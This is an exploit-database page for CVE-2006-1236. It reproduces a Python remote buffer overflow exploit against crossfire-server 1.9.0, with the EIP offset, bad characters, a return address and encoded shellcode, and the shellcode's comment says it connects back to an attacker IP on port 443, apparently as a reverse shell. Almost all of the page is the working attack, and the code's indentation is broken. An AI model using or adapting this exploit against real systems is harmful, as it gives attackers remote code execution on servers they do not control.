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Crossfire Server 1.0 Buffer Overflow

CVE Category Price Severity
CVE-2006-1236 CWE-119 $500 Critical
Author Risk Exploitation Type Date
Unknown High Remote 2021-08-18
CVSS EPSS EPSSP
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H 0.52187 0.90641

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021080068

Below is a copy:

Crossfire Server 1.0 Buffer Overflow
# Exploit Title: crossfire-server 1.9.0 - 'SetUp()' Remote Buffer Overflow
# Exploit Author: Khaled Salem @Khaled0x07
# Software Link: https://www.exploit-db.com/apps/43240af83a4414d2dcc19fff3af31a63-crossfire-1.9.0.tar.gz
# Version: 1.9.0
# Tested on: Kali Linux 2020.4
# CVE : CVE-2006-1236

#!/bin/python
import socket
import time


# Crash at 4379
# EIP Offset at 4368
# Badchar \x00\x20
# ECX Size 170
# CALL ECX 0x080640eb

size = 4379

# Attacker IP: 127.0.0.1 Port: 443
shellcode =  b""
shellcode += b"\xd9\xee\xd9\x74\x24\xf4\xb8\x60\x61\x5f\x28"
shellcode += b"\x5b\x33\xc9\xb1\x12\x31\x43\x17\x03\x43\x17"
shellcode += b"\x83\xa3\x65\xbd\xdd\x12\xbd\xb6\xfd\x07\x02"
shellcode += b"\x6a\x68\xa5\x0d\x6d\xdc\xcf\xc0\xee\x8e\x56"
shellcode += b"\x6b\xd1\x7d\xe8\xc2\x57\x87\x80\xab\xa7\x77"
shellcode += b"\x51\x3c\xaa\x77\x50\x07\x23\x96\xe2\x11\x64"
shellcode += b"\x08\x51\x6d\x87\x23\xb4\x5c\x08\x61\x5e\x31"
shellcode += b"\x26\xf5\xf6\xa5\x17\xd6\x64\x5f\xe1\xcb\x3a"
shellcode += b"\xcc\x78\xea\x0a\xf9\xb7\x6d"




try:
filler = "\x90"*(4368 - 170) + shellcode+"\x90"*(170-len(shellcode))
EIP = "\xeb\x40\x06\x08" 
padding = "C" * (4379 - len(filler) - len(EIP))
payload = filler + EIP + padding
inputBuffer = "\x11(setup sound "+ payload +"\x90\x00#"
print("Sending Buffer with size:" + str(len(payload)))
s = socket.socket(socket.AF_INET , socket.SOCK_STREAM)
s.connect(("192.168.1.4",13327)) # Server IP Address: 192.168.1.4
print(s.recv(1024))

s.send(inputBuffer)
s.close()

except:
print("Could not connect")
exit(0)
            

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